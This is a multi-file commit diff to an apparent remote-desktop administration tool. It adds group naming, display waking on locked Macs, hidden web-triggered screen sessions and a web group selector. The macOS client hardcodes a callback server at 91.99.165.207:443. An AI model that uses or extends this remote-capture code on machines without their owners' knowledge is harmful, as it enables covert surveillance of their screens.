4 Commits

11 changed files with 591 additions and 69 deletions

View File

@@ -651,11 +651,21 @@ public:
// Double-check after acquiring lock // Double-check after acquiring lock
if (m_destroyed) return; if (m_destroyed) return;
// Prevent starting if thread is already running or joinable // If already running, just send TOKEN_BITMAPINFO again
if (m_captureThread.joinable()) return; // This allows server to create additional dialogs (MFC can open while Web is active)
if (m_captureThread.joinable() || m_running.load()) {
Mprintf(">>> ScreenHandler already running, sending TOKEN_BITMAPINFO for new dialog\n");
SendBitmapInfo();
return;
}
bool expected = false; bool expected = false;
if (!m_running.compare_exchange_strong(expected, true)) return; if (!m_running.compare_exchange_strong(expected, true)) {
// Race condition: another thread started first, send bitmap info
Mprintf(">>> ScreenHandler race, sending TOKEN_BITMAPINFO for new dialog\n");
SendBitmapInfo();
return;
}
m_captureThread = std::thread(&ScreenHandler::CaptureLoop, this); m_captureThread = std::thread(&ScreenHandler::CaptureLoop, this);
} }

View File

@@ -672,6 +672,24 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
if (result != 0) { if (result != 0) {
Mprintf("** [%p] V2 File recv error: %d ***\n", user, result); Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
} }
} else if (szBuffer[0] == CMD_SET_GROUP) {
// Extract group name from message (starts at byte 1)
std::string groupName;
if (ulLength > 1) {
groupName = std::string((char*)szBuffer + 1, ulLength - 1);
// Remove trailing nulls
size_t pos = groupName.find('\0');
if (pos != std::string::npos) {
groupName = groupName.substr(0, pos);
}
}
// Save to config file
LinuxConfig cfg;
cfg.SetStr("group_name", groupName);
// Update global settings
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
} else { } else {
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0])); Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
} }
@@ -1077,8 +1095,23 @@ int main(int argc, char* argv[])
LOGIN_INFOR logInfo; LOGIN_INFOR logInfo;
// 主机名 // 读取分组名称(从配置文件或 g_SETTINGS
LinuxConfig cfgGroup;
std::string groupName = cfgGroup.GetStr("group_name");
if (!groupName.empty()) {
// 更新 g_SETTINGS
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
} else if (g_SETTINGS.szGroupName[0] != 0) {
groupName = g_SETTINGS.szGroupName;
}
// 主机名带分组hostname/groupname
if (!groupName.empty()) {
std::string pcNameWithGroup = std::string(hostname) + "/" + groupName;
strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1);
} else {
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1); strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
}
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0'; logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
// 操作系统版本(如 "Ubuntu 24.04 LTS" // 操作系统版本(如 "Ubuntu 24.04 LTS"

View File

@@ -5,6 +5,7 @@
#import "../common/commands.h" #import "../common/commands.h"
#import "Permissions.h" #import "Permissions.h"
#import <Cocoa/Cocoa.h> #import <Cocoa/Cocoa.h>
#import <chrono>
#import <CoreGraphics/CoreGraphics.h> #import <CoreGraphics/CoreGraphics.h>
#import <ApplicationServices/ApplicationServices.h> #import <ApplicationServices/ApplicationServices.h>
#import <mach/mach_time.h> #import <mach/mach_time.h>
@@ -104,19 +105,23 @@ bool ScreenHandler::init()
m_currFrame.resize(m_bmpHeader.biSizeImage, 0); m_currFrame.resize(m_bmpHeader.biSizeImage, 0);
m_diffBuffer.resize(1 + 1 + 8 + 1 + m_bmpHeader.biSizeImage * 2); m_diffBuffer.resize(1 + 1 + 8 + 1 + m_bmpHeader.biSizeImage * 2);
NSLog(@"ScreenHandler initialized: %dx%d", m_width, m_height); // Wake display if needed (do this early, before sending TOKEN_BITMAPINFO)
return true; bool wasAsleep = CGDisplayIsAsleep(m_displayID);
} bool isLocked = false;
CFDictionaryRef sessionInfo = CGSessionCopyCurrentDictionary();
if (sessionInfo) {
CFBooleanRef screenLocked = (CFBooleanRef)CFDictionaryGetValue(
sessionInfo, CFSTR("CGSSessionScreenIsLocked"));
if (screenLocked && CFBooleanGetValue(screenLocked)) {
isLocked = true;
}
CFRelease(sessionInfo);
}
void ScreenHandler::start(IOCPClient* client, uint64_t clientID) if (wasAsleep || isLocked) {
{ NSLog(@"Waking display in init (asleep=%d, locked=%d)...", wasAsleep, isLocked);
if (m_running) return;
m_client = client; // Create NoDisplaySleep assertion - this wakes the display
m_clientID = clientID;
m_running = true;
// Prevent display sleep during remote desktop session
if (m_displayAssertionID == 0) { if (m_displayAssertionID == 0) {
IOReturn result = IOPMAssertionCreateWithName( IOReturn result = IOPMAssertionCreateWithName(
kIOPMAssertionTypeNoDisplaySleep, kIOPMAssertionTypeNoDisplaySleep,
@@ -125,9 +130,54 @@ void ScreenHandler::start(IOCPClient* client, uint64_t clientID)
&m_displayAssertionID &m_displayAssertionID
); );
if (result == kIOReturnSuccess) { if (result == kIOReturnSuccess) {
NSLog(@"Display sleep disabled for remote desktop (ID: %u)", m_displayAssertionID); NSLog(@"Display assertion created (ID: %u)", m_displayAssertionID);
} else { }
NSLog(@"Warning: Failed to prevent display sleep (error: 0x%x)", result); }
// Declare user activity to ensure wake
IOPMAssertionID wakeAssertionID = 0;
IOPMAssertionDeclareUserActivity(
CFSTR("SimpleRemoter - waking display"),
kIOPMUserActiveLocal,
&wakeAssertionID
);
if (wakeAssertionID) {
IOPMAssertionRelease(wakeAssertionID);
}
// Brief wait for loginwindow to render
std::this_thread::sleep_for(std::chrono::milliseconds(500));
NSLog(@"Display wake complete");
}
NSLog(@"ScreenHandler initialized: %dx%d", m_width, m_height);
return true;
}
void ScreenHandler::start(IOCPClient* client, uint64_t clientID)
{
// If already running, just send TOKEN_BITMAPINFO again
// This allows server to create additional dialogs (MFC can open while Web is active)
if (m_running) {
NSLog(@"ScreenHandler already running, sending TOKEN_BITMAPINFO for new dialog");
sendBitmapInfo();
return;
}
m_client = client;
m_clientID = clientID;
m_running = true;
// Display wake was already done in init(), just ensure assertion exists
if (m_displayAssertionID == 0) {
IOReturn result = IOPMAssertionCreateWithName(
kIOPMAssertionTypeNoDisplaySleep,
kIOPMAssertionLevelOn,
CFSTR("SimpleRemoter - remote desktop session active"),
&m_displayAssertionID
);
if (result == kIOReturnSuccess) {
NSLog(@"Display sleep disabled (ID: %u)", m_displayAssertionID);
} }
} }

View File

@@ -1,5 +1,6 @@
#import <Cocoa/Cocoa.h> #import <Cocoa/Cocoa.h>
#import <sys/sysctl.h> #import <sys/sysctl.h>
#import <sys/stat.h>
#import <mach/mach.h> #import <mach/mach.h>
#import <mach-o/dyld.h> #import <mach-o/dyld.h>
#import <pwd.h> #import <pwd.h>
@@ -12,6 +13,7 @@
#import <atomic> #import <atomic>
#import <memory> #import <memory>
#import <string> #import <string>
#import <map>
#import "../client/IOCPClient.h" #import "../client/IOCPClient.h"
#define XXH_INLINE_ALL #define XXH_INLINE_ALL
@@ -32,6 +34,103 @@ CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_M
State g_bExit = S_CLIENT_NORMAL; State g_bExit = S_CLIENT_NORMAL;
// ============== Configuration File Functions ==============
// Config path: ~/.config/ghost/config.conf (same as Linux)
// Format: key=value (one per line)
static std::string g_configDir;
static std::string g_configPath;
static std::map<std::string, std::string> g_configData;
// Initialize config paths
static void initConfigPaths()
{
if (!g_configDir.empty()) return; // Already initialized
const char* home = getenv("HOME");
if (!home) {
struct passwd* pw = getpwuid(getuid());
if (pw) home = pw->pw_dir;
}
if (!home) home = "/tmp";
g_configDir = std::string(home) + "/.config/ghost";
g_configPath = g_configDir + "/config.conf";
}
// Recursively create directory
static void mkdirRecursive(const std::string& path)
{
size_t pos = 0;
while ((pos = path.find('/', pos + 1)) != std::string::npos) {
mkdir(path.substr(0, pos).c_str(), 0755);
}
mkdir(path.c_str(), 0755);
}
// Load all config from file
static void loadConfig()
{
initConfigPaths();
g_configData.clear();
std::ifstream file(g_configPath);
if (!file.is_open()) return;
std::string line;
while (std::getline(file, line)) {
size_t eq = line.find('=');
if (eq != std::string::npos) {
g_configData[line.substr(0, eq)] = line.substr(eq + 1);
}
}
}
// Save all config to file
static void saveConfig()
{
initConfigPaths();
mkdirRecursive(g_configDir);
std::ofstream file(g_configPath, std::ios::trunc);
if (!file.is_open()) {
NSLog(@"Failed to save config to %s", g_configPath.c_str());
return;
}
for (const auto& kv : g_configData) {
file << kv.first << "=" << kv.second << "\n";
}
NSLog(@"Config saved to %s", g_configPath.c_str());
}
// Get config string value
static std::string getConfigStr(const std::string& key, const std::string& def = "")
{
auto it = g_configData.find(key);
return it != g_configData.end() ? it->second : def;
}
// Set config string value
static void setConfigStr(const std::string& key, const std::string& value)
{
g_configData[key] = value;
saveConfig();
}
// Save group name to config file
static void saveGroupName(const std::string& groupName)
{
setConfigStr("group_name", groupName);
NSLog(@"Group name saved: %s", groupName.c_str());
}
// Load group name from config file
static std::string loadGroupName()
{
return getConfigStr("group_name");
}
// ============== System Information Functions ============== // ============== System Information Functions ==============
// Get macOS version string (e.g., "macOS 14.0 Sonoma") // Get macOS version string (e.g., "macOS 14.0 Sonoma")
@@ -363,9 +462,25 @@ static void fillLoginInfo(LOGIN_INFOR& info)
// CPU MHz // CPU MHz
info.dwCPUMHz = getCPUFrequencyMHz(); info.dwCPUMHz = getCPUFrequencyMHz();
// PC Name (hostname) // PC Name (hostname) - with group name if set
std::string hostname = getHostname(); std::string hostname = getHostname();
std::string groupName = loadGroupName();
if (!groupName.empty()) {
// Also update g_SETTINGS for consistency
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
g_SETTINGS.szGroupName[sizeof(g_SETTINGS.szGroupName) - 1] = '\0';
// Format: "hostname/groupname"
std::string pcNameWithGroup = hostname + "/" + groupName;
strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1);
} else if (g_SETTINGS.szGroupName[0] != 0) {
// Use group from g_SETTINGS (set at build time)
groupName = g_SETTINGS.szGroupName;
std::string pcNameWithGroup = hostname + "/" + groupName;
strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1);
} else {
strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1); strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
}
info.szPCName[sizeof(info.szPCName) - 1] = '\0';
// Webcam // Webcam
info.bWebCamIsExist = hasCameraDevice() ? 1 : 0; info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
@@ -569,6 +684,23 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
} }
} else if (szBuffer[0] == COMMAND_NEXT) { } else if (szBuffer[0] == COMMAND_NEXT) {
Mprintf("** [%p] Received 'NEXT' command ***\n", user); Mprintf("** [%p] Received 'NEXT' command ***\n", user);
} else if (szBuffer[0] == CMD_SET_GROUP) {
// Extract group name from message (starts at byte 1)
std::string groupName;
if (ulLength > 1) {
groupName = std::string((char*)szBuffer + 1, ulLength - 1);
// Remove trailing nulls
size_t pos = groupName.find('\0');
if (pos != std::string::npos) {
groupName = groupName.substr(0, pos);
}
}
// Save to config file
saveGroupName(groupName);
// Update global settings
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
} else { } else {
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0])); Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
} }
@@ -610,6 +742,10 @@ int main(int argc, const char* argv[])
// Setup signal handlers // Setup signal handlers
setupSignals(); setupSignals();
// Load configuration file (~/.config/ghost/config.conf)
loadConfig();
NSLog(@"Config loaded from %s", g_configPath.c_str());
// Check permissions // Check permissions
NSLog(@"Checking permissions..."); NSLog(@"Checking permissions...");

View File

@@ -3872,6 +3872,9 @@ BOOL CMy2015RemoteDlg::ShouldRemoteControl()
void screenParamModifier(context* ctx, void* user) void screenParamModifier(context* ctx, void* user)
{ {
// Mark as MFC-triggered so dialog will be visible
WebService().SetMfcTriggered(ctx->GetClientID());
auto version = ctx->GetClientData(ONLINELIST_VERSION); auto version = ctx->GetClientData(ONLINELIST_VERSION);
if (!IsDateGreaterOrEqual(version, "Feb 8 2026")) { if (!IsDateGreaterOrEqual(version, "Feb 8 2026")) {
char* param = (char*)user; char* param = (char*)user;
@@ -6350,9 +6353,18 @@ LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
BYTE bToken = COMMAND_BYE; BYTE bToken = COMMAND_BYE;
return ContextObject->Send2Client(&bToken, 1) ? 0 : 0x20260223; return ContextObject->Send2Client(&bToken, 1) ? 0 : 0x20260223;
} }
if (clientID && WebService().IsRunning() && WebService().IsWebTriggered(clientID) && WebService().GetHideWebSessions()) { // Check trigger source: MFC-triggered dialogs are always visible
// Note: Don't clear MfcTriggered here - let OnInitDialog check it to determine session type
if (clientID && WebService().IsRunning()) {
if (WebService().IsMfcTriggered(clientID)) {
// MFC-triggered: show dialog (flag will be cleared in OnInitDialog)
return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_SHOWMAXIMIZED>(wParam, lParam);
}
if (WebService().IsWebTriggered(clientID) && WebService().GetHideWebSessions()) {
// Web-triggered: hide dialog (Web users share this hidden dialog)
return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_HIDE>(wParam, lParam); return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_HIDE>(wParam, lParam);
} }
}
return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_SHOWMAXIMIZED>(wParam, lParam); return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_SHOWMAXIMIZED>(wParam, lParam);
} }
@@ -7120,10 +7132,16 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID)
} }
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
} }
// Mark as MFC-triggered when MFC opens remote desktop
void setMfcTriggeredCallback(context* ctx, void* user)
{
WebService().SetMfcTriggered(ctx->GetClientID());
}
void CMy2015RemoteDlg::OnOnlineVirtualDesktop() void CMy2015RemoteDlg::OnOnlineVirtualDesktop()
{ {
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 2, ALGORITHM_DIFF, THIS_CFG.GetInt("settings", "MultiScreen", TRUE) }; BYTE bToken[32] = { COMMAND_SCREEN_SPY, 2, ALGORITHM_DIFF, THIS_CFG.GetInt("settings", "MultiScreen", TRUE) };
SendSelectedCommand(bToken, sizeof(bToken)); SendSelectedCommand(bToken, sizeof(bToken), setMfcTriggeredCallback, nullptr);
} }
@@ -7132,7 +7150,7 @@ void CMy2015RemoteDlg::OnOnlineGrayDesktop()
if (!ShouldRemoteControl()) if (!ShouldRemoteControl())
return; return;
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_GRAY, THIS_CFG.GetInt("settings", "MultiScreen", TRUE) }; BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_GRAY, THIS_CFG.GetInt("settings", "MultiScreen", TRUE) };
SendSelectedCommand(bToken, sizeof(bToken)); SendSelectedCommand(bToken, sizeof(bToken), setMfcTriggeredCallback, nullptr);
} }
@@ -7141,7 +7159,7 @@ void CMy2015RemoteDlg::OnOnlineRemoteDesktop()
if (!ShouldRemoteControl()) if (!ShouldRemoteControl())
return; return;
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 1, ALGORITHM_DIFF, THIS_CFG.GetInt("settings", "MultiScreen", TRUE) }; BYTE bToken[32] = { COMMAND_SCREEN_SPY, 1, ALGORITHM_DIFF, THIS_CFG.GetInt("settings", "MultiScreen", TRUE) };
SendSelectedCommand(bToken, sizeof(bToken)); SendSelectedCommand(bToken, sizeof(bToken), setMfcTriggeredCallback, nullptr);
} }
@@ -7150,7 +7168,7 @@ void CMy2015RemoteDlg::OnOnlineH264Desktop()
if (!ShouldRemoteControl()) if (!ShouldRemoteControl())
return; return;
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_H264, THIS_CFG.GetInt("settings", "MultiScreen", TRUE) }; BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_H264, THIS_CFG.GetInt("settings", "MultiScreen", TRUE) };
SendSelectedCommand(bToken, sizeof(bToken)); SendSelectedCommand(bToken, sizeof(bToken), setMfcTriggeredCallback, nullptr);
} }
@@ -8212,6 +8230,28 @@ void CMy2015RemoteDlg::CloseRemoteDesktopByClientID(uint64_t clientID)
} }
} }
void CMy2015RemoteDlg::CloseWebRemoteDesktopByClientID(uint64_t clientID)
{
CScreenSpyDlg* targetDlg = nullptr;
HWND hWnd = NULL;
EnterCriticalSection(&m_cs);
for (auto& pair : m_RemoteWnds) {
CScreenSpyDlg* dlg = dynamic_cast<CScreenSpyDlg*>(pair.second);
// Only close Web session dialogs, leave MFC dialogs open
if (dlg && dlg->GetClientID() == clientID && dlg->IsWebSession()) {
targetDlg = dlg;
hWnd = dlg->GetSafeHwnd();
break;
}
}
LeaveCriticalSection(&m_cs);
if (targetDlg && hWnd && ::IsWindow(hWnd)) {
::SendMessage(hWnd, WM_CLOSE, 0, 0);
}
}
void CMy2015RemoteDlg::UpdateActiveRemoteSession(CDialogBase *sess) void CMy2015RemoteDlg::UpdateActiveRemoteSession(CDialogBase *sess)
{ {
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);

View File

@@ -275,6 +275,7 @@ public:
CDialogBase* GetRemoteWindow(CDialogBase* dlg); CDialogBase* GetRemoteWindow(CDialogBase* dlg);
void RemoveRemoteWindow(HWND wnd); void RemoveRemoteWindow(HWND wnd);
void CloseRemoteDesktopByClientID(uint64_t clientID); void CloseRemoteDesktopByClientID(uint64_t clientID);
void CloseWebRemoteDesktopByClientID(uint64_t clientID); // Only close Web session dialog
CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无 CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
void UpdateActiveRemoteSession(CDialogBase* sess); void UpdateActiveRemoteSession(CDialogBase* sess);
CDialogBase* GetActiveRemoteSession(); CDialogBase* GetActiveRemoteSession();

View File

@@ -157,8 +157,9 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE
if (pClientID) { if (pClientID) {
m_ClientID = *((uint64_t*)pClientID); m_ClientID = *((uint64_t*)pClientID);
// Notify web clients of resolution (important for clients that only send TOKEN_BITMAPINFO once) // Notify web clients of resolution (only for Web sessions, not MFC sessions)
if (WebService().IsRunning()) { // At this point, IsMfcTriggered is still set if MFC triggered this dialog
if (WebService().IsRunning() && !WebService().IsMfcTriggered(m_ClientID)) {
int width = m_BitmapInfor_Full->bmiHeader.biWidth; int width = m_BitmapInfor_Full->bmiHeader.biWidth;
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight); int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
WebService().NotifyResolutionChange(m_ClientID, width, height); WebService().NotifyResolutionChange(m_ClientID, width, height);
@@ -761,14 +762,32 @@ BOOL CScreenSpyDlg::OnInitDialog()
if (pMain) if (pMain)
::PostMessage(pMain->GetSafeHwnd(), WM_SESSION_ACTIVATED, (WPARAM)this, 0); ::PostMessage(pMain->GetSafeHwnd(), WM_SESSION_ACTIVATED, (WPARAM)this, 0);
// 注册屏幕上下文到 WebService用于 Web 端鼠标/键盘控制) // Determine session type: MFC or Web
WebService().RegisterScreenContext(m_ClientID, m_ContextObject); // Must check MfcTriggered FIRST - if MFC triggered this dialog, it's NOT a web session
// even if WebTriggered is also true (happens when Web is already open for same device)
bool isMfcSession = WebService().IsMfcTriggered(m_ClientID);
bool isWebSession = false;
if (isMfcSession) {
// MFC session: clear the flag, don't register with WebService
WebService().ClearMfcTriggered(m_ClientID);
// m_bIsWebSession remains false (default)
} else {
// Check if this is a Web session
isWebSession = WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions();
// Hide window if this session was triggered by web client // Only register screen context for Web sessions
if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) { // MFC dialogs handle input directly via m_ContextObject, don't need WebService registry
// This prevents MFC close from deleting Web's context (they share same device_id key)
if (isWebSession) {
WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
m_bHide = true; m_bHide = true;
m_bIsWebSession = true;
ShowWindow(SW_HIDE); ShowWindow(SW_HIDE);
} }
}
Mprintf("[ScreenSpy] Dialog created for device %llu, isMfcSession=%d, isWebSession=%d\n",
m_ClientID, isMfcSession ? 1 : 0, isWebSession ? 1 : 0);
return TRUE; return TRUE;
} }
@@ -776,8 +795,10 @@ BOOL CScreenSpyDlg::OnInitDialog()
VOID CScreenSpyDlg::OnClose() VOID CScreenSpyDlg::OnClose()
{ {
// 注销屏幕上下文Web 端控制) // Only unregister if this is a Web session (we only registered for Web sessions)
if (m_bIsWebSession) {
WebService().UnregisterScreenContext(m_ClientID); WebService().UnregisterScreenContext(m_ClientID);
}
m_bIsClosed = true; m_bIsClosed = true;
m_bIsCtrl = FALSE; m_bIsCtrl = FALSE;
@@ -964,18 +985,11 @@ VOID CScreenSpyDlg::OnReceiveComplete()
PrepareDrawing(m_BitmapInfor_Full); PrepareDrawing(m_BitmapInfor_Full);
// 分辨率切换完成,允许解码 // 分辨率切换完成,允许解码
m_bResolutionChanging = false; m_bResolutionChanging = false;
// Notify web clients of resolution change // Notify web clients of resolution change (only for Web session dialogs)
if (WebService().IsRunning()) { if (m_bIsWebSession && WebService().IsRunning()) {
int width = m_BitmapInfor_Full->bmiHeader.biWidth; int width = m_BitmapInfor_Full->bmiHeader.biWidth;
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight); int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
WebService().NotifyResolutionChange(m_ClientID, width, height); WebService().NotifyResolutionChange(m_ClientID, width, height);
// Hide window if this session was triggered by web client (and hiding is enabled)
if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) {
m_bHide = true;
ShowWindow(SW_HIDE);
Mprintf("[ScreenSpyDlg] Web-triggered session, hiding window for device %llu\n", m_ClientID);
}
} }
break; break;
} }
@@ -1266,8 +1280,8 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0]; m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0];
if (bOldCursorIndex != m_bCursorIndex) { if (bOldCursorIndex != m_bCursorIndex) {
bChange = TRUE; bChange = TRUE;
// 通知 Web 客户端光标变化 // 通知 Web 客户端光标变化 (只有 Web 会话的对话框才广播)
if (WebService().IsRunning()) { if (m_bIsWebSession && WebService().IsRunning()) {
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex); WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
} }
if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构 if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构
@@ -1317,8 +1331,8 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
bChange = TRUE; bChange = TRUE;
} }
} }
// Broadcast H264 keyframe to web clients // Broadcast H264 keyframe to web clients (only for Web session dialogs)
if (NextScreenLength > 0 && WebService().IsRunning()) { if (m_bIsWebSession && NextScreenLength > 0 && WebService().IsRunning()) {
std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength); std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF); uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
uint8_t frameType = 1; // Keyframe uint8_t frameType = 1; // Keyframe
@@ -1376,9 +1390,9 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
bChange = TRUE; bChange = TRUE;
} }
} }
// Broadcast H264 frame to web clients // Broadcast H264 frame to web clients (only for Web session dialogs)
// Format: [DeviceID:4][FrameType:1][DataLen:4][H264Data:N] // Format: [DeviceID:4][FrameType:1][DataLen:4][H264Data:N]
if (NextScreenLength > 0 && WebService().IsRunning()) { if (m_bIsWebSession && NextScreenLength > 0 && WebService().IsRunning()) {
// Detect H264 keyframe by checking NAL unit type // Detect H264 keyframe by checking NAL unit type
// NAL type 5 = IDR slice (keyframe), NAL type 7 = SPS, NAL type 8 = PPS // NAL type 5 = IDR slice (keyframe), NAL type 7 = SPS, NAL type 8 = PPS
bool isKeyFrame = false; bool isKeyFrame = false;
@@ -1463,8 +1477,8 @@ VOID CScreenSpyDlg::DrawScrollFrame()
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2 + sizeof(POINT))[0]; m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2 + sizeof(POINT))[0];
if (bOldCursorIndex != m_bCursorIndex) { if (bOldCursorIndex != m_bCursorIndex) {
bChange = TRUE; bChange = TRUE;
// 通知 Web 客户端光标变化 // 通知 Web 客户端光标变化 (只有 Web 会话的对话框才广播)
if (WebService().IsRunning()) { if (m_bIsWebSession && WebService().IsRunning()) {
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex); WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
} }
} }

View File

@@ -1,6 +1,7 @@
#pragma once #pragma once
#include <imm.h> #include <imm.h>
#include <map> #include <map>
#include <atomic>
#include "IOCPServer.h" #include "IOCPServer.h"
#include "..\..\client\CursorInfo.h" #include "..\..\client\CursorInfo.h"
#include "VideoDlg.h" #include "VideoDlg.h"
@@ -153,6 +154,10 @@ public:
return TRUE; return TRUE;
} }
// Check if this dialog was created by Web request (shared by Web users)
bool IsWebSession() const { return m_bIsWebSession.load(); }
void SetWebSession(bool isWeb) { m_bIsWebSession.store(isWeb); }
VOID SendNext(void); VOID SendNext(void);
VOID OnReceiveComplete(); VOID OnReceiveComplete();
HDC m_hFullDC; HDC m_hFullDC;
@@ -186,6 +191,7 @@ public:
int m_FrameID; int m_FrameID;
HIMC m_hOldIMC = NULL; // 保存原始 IME 上下文,控制模式切换时使用 HIMC m_hOldIMC = NULL; // 保存原始 IME 上下文,控制模式切换时使用
bool m_bHide = false; bool m_bHide = false;
std::atomic<bool> m_bIsWebSession{false}; // True if this dialog was created by Web request (atomic for thread safety)
std::string m_strSaveNotice; // 截图保存路径提示 std::string m_strSaveNotice; // 截图保存路径提示
ULONGLONG m_nSaveNoticeTime = 0; // 截图提示开始时间 ULONGLONG m_nSaveNoticeTime = 0; // 截图提示开始时间
BOOL m_bUsingFRP = FALSE; BOOL m_bUsingFRP = FALSE;

View File

@@ -997,10 +997,14 @@ inline std::string GetWebPageHTML() {
<h4>Create New User</h4> <h4>Create New User</h4>
<input type="text" id="new-username" placeholder="Username" autocomplete="off"> <input type="text" id="new-username" placeholder="Username" autocomplete="off">
<input type="password" id="new-password" placeholder="Password" autocomplete="new-password"> <input type="password" id="new-password" placeholder="Password" autocomplete="new-password">
<select id="new-role"> <select id="new-role" onchange="onRoleChange()">
<option value="viewer">Viewer (read-only)</option> <option value="viewer">Viewer (read-only)</option>
<option value="admin">Admin (full access)</option> <option value="admin">Admin (full access)</option>
</select> </select>
<div class="groups-section" id="groups-section">
<label style="font-size:13px;color:#aaa;display:block;margin:8px 0 4px;">Allowed Groups:</label>
<div id="groups-checkboxes" style="max-height:120px;overflow-y:auto;background:rgba(0,0,0,0.2);border-radius:6px;padding:6px 8px;"></div>
</div>
<button onclick="createUser()">Create User</button> <button onclick="createUser()">Create User</button>
</div> </div>
<div class="user-list"> <div class="user-list">
@@ -1286,6 +1290,11 @@ inline std::string GetWebPageHTML() {
renderUsersList(msg.users); renderUsersList(msg.users);
} }
break; break;
case 'groups':
if (msg.ok) {
renderGroupsCheckboxes(msg.groups);
}
break;
} }
} }
)HTML"; )HTML";
@@ -1661,7 +1670,35 @@ inline std::string GetWebPageHTML() {
function openUsersModal() { function openUsersModal() {
document.getElementById('users-modal').classList.add('active'); document.getElementById('users-modal').classList.add('active');
document.getElementById('user-msg').innerHTML = ''; document.getElementById('user-msg').innerHTML = '';
document.getElementById('new-role').value = 'viewer'; // Reset to default
onRoleChange(); // Update groups section visibility
listUsers(); listUsers();
getGroups();
}
function getGroups() {
if (ws && ws.readyState === WebSocket.OPEN && token) {
ws.send(JSON.stringify({ cmd: 'get_groups', token }));
}
}
function renderGroupsCheckboxes(groups) {
const container = document.getElementById('groups-checkboxes');
if (!groups || groups.length === 0) {
container.innerHTML = '<span style="color:#666;font-size:12px;">No groups available</span>';
return;
}
container.innerHTML = groups.map(g =>
'<label style="display:flex;align-items:center;padding:3px 0;cursor:pointer;white-space:nowrap;">' +
'<input type="checkbox" value="' + escapeHtml(g) + '" style="margin:0 6px 0 0;flex-shrink:0;width:14px;height:14px;">' +
escapeHtml(g) + '</label>'
).join('');
}
function onRoleChange() {
